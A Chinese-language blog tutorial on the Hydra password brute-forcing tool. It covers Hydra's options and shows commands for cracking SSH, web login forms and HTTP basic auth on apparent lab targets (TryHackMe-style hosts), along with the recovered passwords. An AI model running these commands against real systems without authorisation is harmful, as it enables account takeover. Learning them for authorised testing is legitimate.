Hydra(九头蛇)-在线密码爆破程序

Hydra

在爆破工具中,hydra可是数一数二的存在,是著名黑客组织thc开发的一款开源的暴力密码破解工具,可以在线破解多种密码

Hydra 能够暴力破解以下协议:Asterisk、AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、HTTP-FORM-GET、HTTP-FORM-POST、HTTP-GET、HTTP-HEAD、HTTP -POST、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTPS-POST、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MYSQL 、 NCP , NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3 、SOCKS5、SSH(v1 和 v2)、SSHKEY、Subversion、Teamspeak (TS2)、Telnet、VMware-Auth、VNC 和 XMPP

参数 作用
-l 指定用户名
-p 指定密码
-L 指定用户字典
-P 指定密码字典
-M 从文件中读取目标地址
-t 指定爆破线程,默认为16
-f 报错成功一个,就停止爆破
-s 指定端口,有的服务为了安全,把服务的端口号改了,例如web服务不是80端口
-S 使用SSL建立连接
-v/V 显示详细爆破的详细信息,默认只会显示成功的

爆破常见服务

对172.16.1.105的ssh服务用户名指定uset.txt进行爆破,密码指定 pass.txt进行爆破

发现端口为开放,是因为本次实验靶机的ssh服务为 2222端口
-s指定端口进行爆破

这里只演示了ssh服务,其他的服务的方法都是一样的

爆破Web登录表单

需要使用的参数

参数 作用
-l 用户名,在用于替换^USER^的值
-P 密码字典,在这里用于替换^PASS^的值
http-post-form 爆破方式为form表单提交
/url:username=^USER^&password=^PASS^:F=keywords url是需要爆破的页面,username和password是form表单提交的值,keywords代表一旦页面出现这个值,爆破失败

示例:

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.186.124 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -vV 


这里会出现一个问题,那就是有时候登录表单会有很多的验证,不仅仅只携带username和password字段,这时我们可以在浏览器调试工具找到提交的信息,复制该数据到payload

格式:/登录页面:需要提交的字段&字段2&字段3:F=一旦拥有这个值表示登录失败

首先找到一个登录页面,尝试提交并通过浏览器查看提交信息


点击Raw转换为原始的格式

然后复制即可

回到Hydra进行爆破,将登录页面,登录必须提交字段,登录错误的字段Login failed根据语法拼接

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.240.12 http-post-form  "/Account/login.aspx:__VIEWSTATE=a%2FRjkqW75Onl7TeJX30T8DWpuZRZqoZ3u%2BemqWKNcWVdCq5eDmfO%2FizAUuVdSIa64yqbNBelmMgG5zN3PxmES%2B3aUoMRb9El4wKxM%2B8So6rnVvqDIhqIuLvXqhA4S%2B2d1nvw80ZSw4tsLJmOOD44hVU360b5gg8hhls1OMY6R5YkYkiG&__EVENTVALIDATION=XpvWIVoa5Vp4MpyJpW0CQkjXo7cPsHY4yf%2Fr1O7eMyKtM%2FWRvhDS5tV1jdcM7utn52Awm3XerTXqWrQiMjSbjkF4%2FdfoHDeKzPsDQ6dFzFngIysHdi89C5g%2Bu%2Bwi2wA2xZBnfKJxFjS%2BvXD8q3JZYf8pIqo4KOY8XNyBsXIKPnx0%2FiM%2F&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=%E7%99%BB%E5%BD%95:F=Login failed"

注意:更改UserNamePassword更改为^USER^^PASS^,意思将我们爆破指定的用户名和密码替换到该位置

成功爆破密码为1qaz2wsx

现在使用这种爆破方式已经很鸡肋了,因为现在大多数登录页面都添加了验证码,或者tokens

爆破基于Web的basic(基本)认证

大概需要以下参数

  • -f:目标IP
  • -s:目标port
  • -l:目标用户
  • -P:密码字典
  • http-get:使用get方式进行basic认证登录
  • /protected: 需要使用basic认证的页面

具体如下

hydra -f tools.thm -s 80 -l bob -P rockyou.txt http-get /protected -vv

得到bob用户的密码为bubbles

posted @ 2022-03-15 14:09  Junglezt  阅读(1086)  评论(0编辑  收藏  举报